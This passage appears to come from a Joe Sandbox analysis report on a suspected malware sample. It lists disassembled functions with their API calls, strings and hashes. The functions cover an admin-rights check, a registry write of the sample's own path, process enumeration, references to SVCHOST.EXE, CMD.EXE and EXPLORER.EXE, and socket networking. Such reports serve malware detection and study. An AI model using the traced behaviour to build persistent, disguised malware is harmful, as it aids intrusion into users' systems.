RegOpenKeyExW.ADVAPI32(80000001,?,00000000,000F013F,?), ref: 00309722
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000003,00000000,00000000), ref: 0030974B
RegCloseKey.ADVAPI32(?), ref: 00309759
LocalFree.KERNEL32(00000000), ref: 00309763
LocalFree.KERNEL32(00000000), ref: 0030976D
LocalFree.KERNEL32(00000000), ref: 0030977E
LocalFree.KERNEL32(00000000), ref: 00309788

Strings

SOFTWARE\%s, xrefs: 003096F2
{D961EA11-3F69-43D1-8581-E526BBBDC738}, xrefs: 003096ED

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$Allocwnsprintf$CloseOpenQueryValue__snwprintf_memset_wcsrchr
String ID: SOFTWARE\%s${D961EA11-3F69-43D1-8581-E526BBBDC738}
API String ID: 1140279918-2066183920
Opcode ID: abafae7090abaa874752fb81d2652bf069c226358e0ccd6ba3e1603e3899f01d
Instruction ID: fd62182d13b8feaf8d8082c3b02a29dec917cf13bb4c9529bc49393b32bc753e
Opcode Fuzzy Hash: abafae7090abaa874752fb81d2652bf069c226358e0ccd6ba3e1603e3899f01d
Instruction Fuzzy Hash: 0D314375A10208BBDB25DFA4DC59FEEB778EF48700F104599F609AB180D6759B84CF50

Function 003226F0 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 86memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000280), ref: 00322700
lstrcpyW.KERNEL32(0000001C,CPU001), ref: 00322735

Part of subcall function 0031C3A0: AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0031C3DB
Part of subcall function 0031C3A0: CheckTokenMembership.ADVAPI32(00000000,?,00000000), ref: 0031C3F4
Part of subcall function 0031C3A0: FreeSid.ADVAPI32(?), ref: 0031C409

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00322754
LocalFree.KERNEL32(00000020), ref: 00322762
LocalFree.KERNEL32(00000020), ref: 00322796

Strings

CPU001, xrefs: 00322729
%s [%d], xrefs: 003227ED

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocAllocateCheckFileInitializeMembershipModuleNameTokenlstrcpy
String ID: %s [%d]$CPU001
API String ID: 2255487582-1715046084
Opcode ID: a2b5656e9dc3ea14e8dc4765eb2aabee7b7788d61ee720956354e8cf4792936c
Instruction ID: bc0689fe6e4e356e17178ede15e344a5b664eca42f0122e33a2d216ed72ee6f1
Opcode Fuzzy Hash: a2b5656e9dc3ea14e8dc4765eb2aabee7b7788d61ee720956354e8cf4792936c
Instruction Fuzzy Hash: B1314FB4D00218BFD725DBA4EC8DBEEB7B4EF48304F5085A8E50AAA251D7749A84CF50

Function 00322450 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00322466
CoCreateGuid.COMBASE(c 2), ref: 00322478
StringFromGUID2.COMBASE(c 2,?,00000027), ref: 00322490
wsprintfA.USER32 ref: 003224AB
LocalAlloc.KERNEL32(00000040,00000068), ref: 003224B8
und_memcpy.LIBCMTD ref: 00322505
LocalFree.KERNEL32(00000000), ref: 00322511
CoUninitialize.COMBASE ref: 00322517
CoUninitialize.COMBASE ref: 00322524

Strings

c 2, xrefs: 003224D3, 003224D8
c 2, xrefs: 00322474, 0032248C, 00322477, 0032248F

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: LocalUninitialize$AllocCreateFreeFromGuidInitializeStringund_memcpywsprintf
String ID: c 2$c 2
API String ID: 3539965953-3287113700
Opcode ID: a97fa9efdd2b813f0f6b2d4e0b629bae99d42f2e9246c03cd28b71e97daf9948
Instruction ID: 10e2ca0d367f19a0ac604d7d5f4708030127c485ef9478e926cc77435b56a637
Opcode Fuzzy Hash: a97fa9efdd2b813f0f6b2d4e0b629bae99d42f2e9246c03cd28b71e97daf9948
Instruction Fuzzy Hash: 8A21C8B5A00304ABDB16DFA4EC49F9F77BDAF48305F004528F90D9B281E631E944CB51

Function 0031ACE0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72windowregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0031ACE8
_memset.LIBCMT ref: 0031ACFB
RegisterClassW.USER32(?), ref: 0031AD1E
GetLastError.KERNEL32 ref: 0031AD30
CreateWindowExW.USER32(00000000,{3423A12F-92CE-4AE6-962F-DE5D526886C1},0033705C,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0031AD64
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0031AD87
TranslateMessage.USER32(?), ref: 0031AD95
DispatchMessageW.USER32(?), ref: 0031AD9F
DestroyWindow.USER32(00000000), ref: 0031ADAD
UnregisterClassW.USER32({3423A12F-92CE-4AE6-962F-DE5D526886C1},00000000), ref: 0031ADC5

Strings

{3423A12F-92CE-4AE6-962F-DE5D526886C1}, xrefs: 0031AD0A, 0031AD5D, 0031ADC0

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Message$ClassWindow$CreateDestroyDispatchErrorHandleLastModuleRegisterTranslateUnregister_memset
String ID: {3423A12F-92CE-4AE6-962F-DE5D526886C1}
API String ID: 1736019982-437755030
Opcode ID: cfa440d83c0b1583b9d4eea2ac099247b56dd65c89977a255be5e699cef7d1ec
Instruction ID: e41b2aeaa59aae9e4b934ee85b5784ad192c5658b6fd2ba65ac8e3b98886c8ff
Opcode Fuzzy Hash: cfa440d83c0b1583b9d4eea2ac099247b56dd65c89977a255be5e699cef7d1ec
Instruction Fuzzy Hash: 21218070941604EBD72A9FA0ED99BDE7BBCAB08702F008418E605A61E1EBB49985DF51

Function 003176F0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72windowregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 003176F8
_memset.LIBCMT ref: 0031770B
RegisterClassW.USER32(?), ref: 0031772E
GetLastError.KERNEL32 ref: 00317740
CreateWindowExW.USER32(00000000,{9C8B46D6-3D59-421D-A2D1-8F95C9197AC8},003349E4,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00317774
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00317797
TranslateMessage.USER32(?), ref: 003177A5
DispatchMessageW.USER32(?), ref: 003177AF
DestroyWindow.USER32(00000000), ref: 003177BD
UnregisterClassW.USER32({9C8B46D6-3D59-421D-A2D1-8F95C9197AC8},00000000), ref: 003177D5

Strings

{9C8B46D6-3D59-421D-A2D1-8F95C9197AC8}, xrefs: 0031771A, 0031776D, 003177D0

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Message$ClassWindow$CreateDestroyDispatchErrorHandleLastModuleRegisterTranslateUnregister_memset
String ID: {9C8B46D6-3D59-421D-A2D1-8F95C9197AC8}
API String ID: 1736019982-1830929042
Opcode ID: f00d0042c4d2c0c8e335671dc0d61eb239018f1e948620eab4fbe8c23d899b5f
Instruction ID: 77169be8e64fe3d59fc942b140b51212e9544dd51d6326126b497fb0f8ac8423
Opcode Fuzzy Hash: f00d0042c4d2c0c8e335671dc0d61eb239018f1e948620eab4fbe8c23d899b5f
Instruction Fuzzy Hash: 9F217F75950204ABD727DFA0EC4AFAD7B7DEB08701F14901DE50DA62D0DB745985CF60

Function 00309EE0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 60registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00309F00
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00309F16
__snwprintf.LIBCMT ref: 00309F3A
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 00309F55
lstrlenW.KERNEL32(?), ref: 00309F66
RegSetValueExW.ADVAPI32(?,{C3120582-398C-4F3B-A956-7E9F9DB9EF8E},00000000,00000001,?,00000002), ref: 00309F88
RegCloseKey.ADVAPI32(?), ref: 00309F99
RegCloseKey.ADVAPI32(?), ref: 00309FAD

Strings

{C3120582-398C-4F3B-A956-7E9F9DB9EF8E}, xrefs: 00309F7C
{BB52E685-57DB-490D-A4DD-CCF2F7D90D58}, xrefs: 00309F24
SOFTWARE\%s, xrefs: 00309F29

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Close$FileModuleNameOpenValue__snwprintf_memsetlstrlen
String ID: SOFTWARE\%s${BB52E685-57DB-490D-A4DD-CCF2F7D90D58}${C3120582-398C-4F3B-A956-7E9F9DB9EF8E}
API String ID: 1214033602-3858757917
Opcode ID: abbca84b1737c3124d3cf6d625bad9abe57056434fcacf7e0e0287fdb2458cd4
Instruction ID: 221f820a65c42a26ad9b25fd998154a1f9de99ed4cda6fec735c435fb9a9b3ad
Opcode Fuzzy Hash: abbca84b1737c3124d3cf6d625bad9abe57056434fcacf7e0e0287fdb2458cd4
Instruction Fuzzy Hash: E311B2B5A40314ABD731DB60DC4DFEA737CAF44B00F104688F61DDA092EAB59A84CBA1

Function 00302640 Relevance: 18.2, APIs: 12, Instructions: 187stringprocessmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00302694
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 003026B2
Process32FirstW.KERNEL32(00000000,0000022C), ref: 003026DA
lstrcmpiW.KERNEL32(?,-00372F28,00000000,?,?,?,?,?), ref: 0030278C
_memset.LIBCMT ref: 003027B1
lstrcpyW.KERNEL32(?,-00372F28,?,?,?,?,?,?,?), ref: 003027CF

Part of subcall function 00301C60: _wcsrchr.LIBCMT ref: 00301C6C

lstrcpyW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00302815

Part of subcall function 00302A80: construct.LIBCPMTD ref: 00302B09

StrCatW.SHLWAPI(00000000,00332714), ref: 00302863
StrCatW.SHLWAPI(00000000,?), ref: 00302874
Process32NextW.KERNEL32(00000000,0000022C), ref: 003028D6
CloseHandle.KERNEL32(00000000), ref: 003028E8
LocalFree.KERNEL32(00000000), ref: 003028F8

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: LocalProcess32lstrcpy$AllocCloseCreateFirstFreeHandleNextSnapshotToolhelp32_memset_wcsrchrconstructlstrcmpi
String ID:
API String ID: 4081567023-0
Opcode ID: cd9585dbd19bc1fc422441f40e542d67354e53185be0c209879bf922c800fab2
Instruction ID: 89aad3f27e0c93ffb7f75e1a41dab5cca40ed1b17b98aaf56d07f5d6862c20ee
Opcode Fuzzy Hash: cd9585dbd19bc1fc422441f40e542d67354e53185be0c209879bf922c800fab2
Instruction Fuzzy Hash: C38152B1D05218DBCB26DBA4CC99BDEB778BF58300F104598E11ABB190DB745A88CF60

Function 00309CE0 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(8U0,00000104,?,00305538,00000000), ref: 00309CF2
__snwprintf.LIBCMT ref: 00309D0E
GetSystemDirectoryW.KERNEL32(8U0,00000104), ref: 00309D2E
__snwprintf.LIBCMT ref: 00309D4A

Strings

%s\SVCHOST.EXE, xrefs: 00309D3C
%s\CMD.EXE, xrefs: 00309D78
%s\EXPLORER.EXE, xrefs: 00309D00
8U0, xrefs: 00309D66, 00309D74, 00309D2A, 00309D38, 00309CEE, 00309CFC, 00309CF1, 00309CFF, 00309D2D, 00309D3B, 00309D69, 00309D77

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Directory__snwprintf$SystemWindows
String ID: %s\CMD.EXE$%s\EXPLORER.EXE$%s\SVCHOST.EXE$8U0
API String ID: 2322266053-1472804483
Opcode ID: 6540ef587ec4f50627a97a16b6be48d9210ec444e3962cd1c25e67ea7e6bedca
Instruction ID: 61b7c5c1bb2a5c2355c1e468652df7bb82633da7f7bafb9fe0ba72180c0fcaaf
Opcode Fuzzy Hash: 6540ef587ec4f50627a97a16b6be48d9210ec444e3962cd1c25e67ea7e6bedca
Instruction Fuzzy Hash: FB1154B1681344ABEF16DE54DC95FBB376DAB45700F14881EFA188E1C1D6B4D980CB51

Function 00306E80 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 230synchronizationCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 00306EEB
SetEvent.KERNEL32(00000000), ref: 0030702F
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00307073
CloseHandle.KERNEL32(00000000), ref: 003070B5
CloseHandle.KERNEL32(00000000), ref: 00307117
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 003071A5
shutdown.WS2_32(?,00000002), ref: 0030723B
closesocket.WS2_32(?), ref: 00307245

Part of subcall function 00320CD0: ___crtGetLocaleInfoEx.LIBCMTD ref: 00320CED

Part of subcall function 00320950: ___crtGetLocaleInfoEx.LIBCMTD ref: 0032096D

Strings

d, xrefs: 00306FE6

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandleInfoLocale___crt$EventFreeObjectSingleVirtualWaitclosesocketsetsockoptshutdown
String ID: d
API String ID: 3427925336-2564639436
Opcode ID: 0ec0086ef559574b65ab97bad19bf1729a1a014d2f38465e30eea2cded1cd4b6
Instruction ID: 6541e96eb61f24bb9950641735fd724fb11962441ba344d0dcac89085b8e6d51
Opcode Fuzzy Hash: 0ec0086ef559574b65ab97bad19bf1729a1a014d2f38465e30eea2cded1cd4b6
Instruction Fuzzy Hash: A0A14C71D001189FEB29DFA4CC95FAEB775FB54304F1082A8E119AB2C2D775AA85CF50

Function 003174B0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97threadsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000,?,0031720B,?), ref: 003174EB
CloseHandle.KERNEL32(00000000,?,0031720B,?), ref: 00317523
CloseHandle.KERNEL32(00000000,?,0031720B,?), ref: 00317543
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,0031720B,?), ref: 0031755B
CreateThread.KERNEL32(00000000,00000000,?,?,00000004,00000000), ref: 0031757A
ResumeThread.KERNEL32(00000000), ref: 003175A8
CloseHandle.KERNEL32(00000000), ref: 003175BE
CloseHandle.KERNEL32(00000000), ref: 003175C8

Strings

d, xrefs: 003174D1

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateThread$EventObjectResumeSingleWait
String ID: d
API String ID: 144976343-2564639436
Opcode ID: 3b8e4d0bcbb270fdbd2883dd6d1b8bd0ded5d3f8693d68d7360318514618e035
Instruction ID: 7b5524dec39819170da9082c5fab2749f4c27bf441ca639d0069b1b76b8da5d7
Opcode Fuzzy Hash: 3b8e4d0bcbb270fdbd2883dd6d1b8bd0ded5d3f8693d68d7360318514618e035
Instruction Fuzzy Hash: 094129B4A04209DFDB09CF94C888BAEBBB6FB48304F24C548E515AB390C774D985CF90

Function 0030FE20 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 83stringmemoryCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0030FE74
lstrlenW.KERNEL32(?), ref: 0030FE86
lstrlenW.KERNEL32(00371110), ref: 0030FE99
LocalAlloc.KERNEL32(00000040,?), ref: 0030FEB2
__snwprintf.LIBCMT ref: 0030FEDA
lstrlenW.KERNEL32(00000000), ref: 0030FEE6
CoTaskMemFree.COMBASE(?), ref: 0030FEF5
CoTaskMemFree.COMBASE(?), ref: 0030FF04

Strings

%s\%s\, xrefs: 0030FECC

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: lstrlen$FreeTask$AllocFolderKnownLocalPath__snwprintf
String ID: %s\%s\
API String ID: 3447735180-2168696002
Opcode ID: 86630961ebc38eb3d9c3db888eda73f57d51d560c67e0a89b5bb09e2b203ed91
Instruction ID: c9eb3693756ca3ac81a4d37dcb59d4cf848c2ac3bb8f8e6e1391931c2afcd63b
Opcode Fuzzy Hash: 86630961ebc38eb3d9c3db888eda73f57d51d560c67e0a89b5bb09e2b203ed91
Instruction Fuzzy Hash: 0C3109B5D00209DFCB05CFA8D885AAEBBB9FF48300F108119E909AB350D734A945CFA4

Function 00322030 Relevance: 15.3, APIs: 10, Instructions: 294stringnetworkCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 00322049

Part of subcall function 00322450: CoInitialize.OLE32(00000000), ref: 00322466
Part of subcall function 00322450: CoCreateGuid.COMBASE(c 2), ref: 00322478
Part of subcall function 00322450: StringFromGUID2.COMBASE(c 2,?,00000027), ref: 00322490
Part of subcall function 00322450: wsprintfA.USER32 ref: 003224AB
Part of subcall function 00322450: LocalAlloc.KERNEL32(00000040,00000068), ref: 003224B8
Part of subcall function 00322450: und_memcpy.LIBCMTD ref: 00322505
Part of subcall function 00322450: LocalFree.KERNEL32(00000000), ref: 00322511
Part of subcall function 00322450: CoUninitialize.COMBASE ref: 00322517

Part of subcall function 0031FFF0: socket.WS2_32(00000002,00000001,00000006), ref: 0031FFFF

setsockopt.WS2_32(00000000,0000FFFF,00000080,?,00000004), ref: 003220F0
LocalFree.KERNEL32(00000000), ref: 00322428

Part of subcall function 00320950: WSACreateEvent.WS2_32 ref: 003209B0

Part of subcall function 00322530: LocalAlloc.KERNEL32(00000040,00000318), ref: 00322540
Part of subcall function 00322530: LoadLibraryW.KERNEL32(NTDLL.DLL), ref: 00322558
Part of subcall function 00322530: LocalFree.KERNEL32(00000000), ref: 0032256B

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 003223B3
WSAEventSelect.WS2_32(00000000,00000000,00000020), ref: 003223D8
und_memcpy.LIBCMTD ref: 003223F7
CloseHandle.KERNEL32(00000000), ref: 0032240E
LocalFree.KERNEL32(00000000), ref: 0032241B
shutdown.WS2_32(00000000,00000002), ref: 00322437
closesocket.WS2_32(00000000), ref: 00322444

Part of subcall function 00320CD0: ___crtGetLocaleInfoEx.LIBCMTD ref: 00320CED

Part of subcall function 00320950: ___crtGetLocaleInfoEx.LIBCMTD ref: 0032096D

Part of subcall function 00320CD0: WSACreateEvent.WS2_32 ref: 00320D30

Part of subcall function 003226F0: LocalAlloc.KERNEL32(00000040,00000280), ref: 00322700
Part of subcall function 003226F0: lstrcpyW.KERNEL32(0000001C,CPU001), ref: 00322735
Part of subcall function 003226F0: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00322754
Part of subcall function 003226F0: LocalFree.KERNEL32(00000020), ref: 00322762

Memory Dump Source

